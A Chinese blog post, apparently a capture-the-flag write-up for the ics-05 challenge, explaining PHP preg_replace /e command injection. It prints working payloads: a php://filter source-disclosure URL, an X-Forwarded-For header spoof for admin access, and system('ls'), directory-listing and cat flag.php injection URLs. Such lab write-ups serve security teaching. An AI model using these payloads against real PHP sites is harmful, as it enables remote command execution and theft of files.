PHP 5.5.9的 preg_replace()函数漏洞

这篇博客讲述了如何利用preg_replace函数中的/e修饰符导致的PHP命令注入漏洞。通过构造特定URL参数,攻击者可以执行系统命令,例如查看目录(ls)、切换目录并列出文件(cd+ls-la),甚至读取敏感文件(如flag.php)。博主通过Burp Suite进行流量拦截和X-Forwarded-For头的添加,逐步展示了漏洞利用的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

preg_replace的基本语法:

$pattern中含有/e的后缀时会发生解析错误,会执行$replacement中含有的命令。

例:攻防世界ics-05

进入网页,发现云平台那个位置可以点击,点击后url出现一个参数

并且可以修改随意显示,改为index.php后显示ok

PHP的filter强制读取操作,

改page的值为page=php://filter/read=convert.base64-encode/resource=index.php

查看源代码,发现base64,解码后审计

就是说可通过伪装xxf来进入admin模式,回到开始的界面

打开burp,抓包并加上 X-Forwarded-For:127.0.0.1 如下

response后显示如下

再审计前面的代码

 

 这就是preg_replace漏洞的利用,传入的pat为要搜索的模式,可以是字符串或一个字符串数组,rep为被替换的字符,sub为要搜索替换的目标字符串或字符串数组。

构造url: index.php?pat=/bug/e&rep=system('ls')&sub=bug(传入的类型默认为string,不用加'')

在刷新时用burp抓包,添加XFF为127.0.0.1

观察到:

需要定位到dir那个文件,

构造:index.php?pat=/bug/e&rep=system('cd s3chahahaDir; ls -la')&sub=bug

cd是定位当前目录,ls是显示当前目录文件, -la显示隐藏文件

如下:

 发现flag目录,继续以相同的方法进入

构造:index.php?pat=/bug/e&rep=system('cd s3chahahaDir/flag; ls -la')&sub=bug

如下:

 cat该文件,在网页管理器中找到flag

构造: index.php?pat=/bug/e&rep=system('cat s3chahahaDir/flag/flag.php')&sub=bug

完毕

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值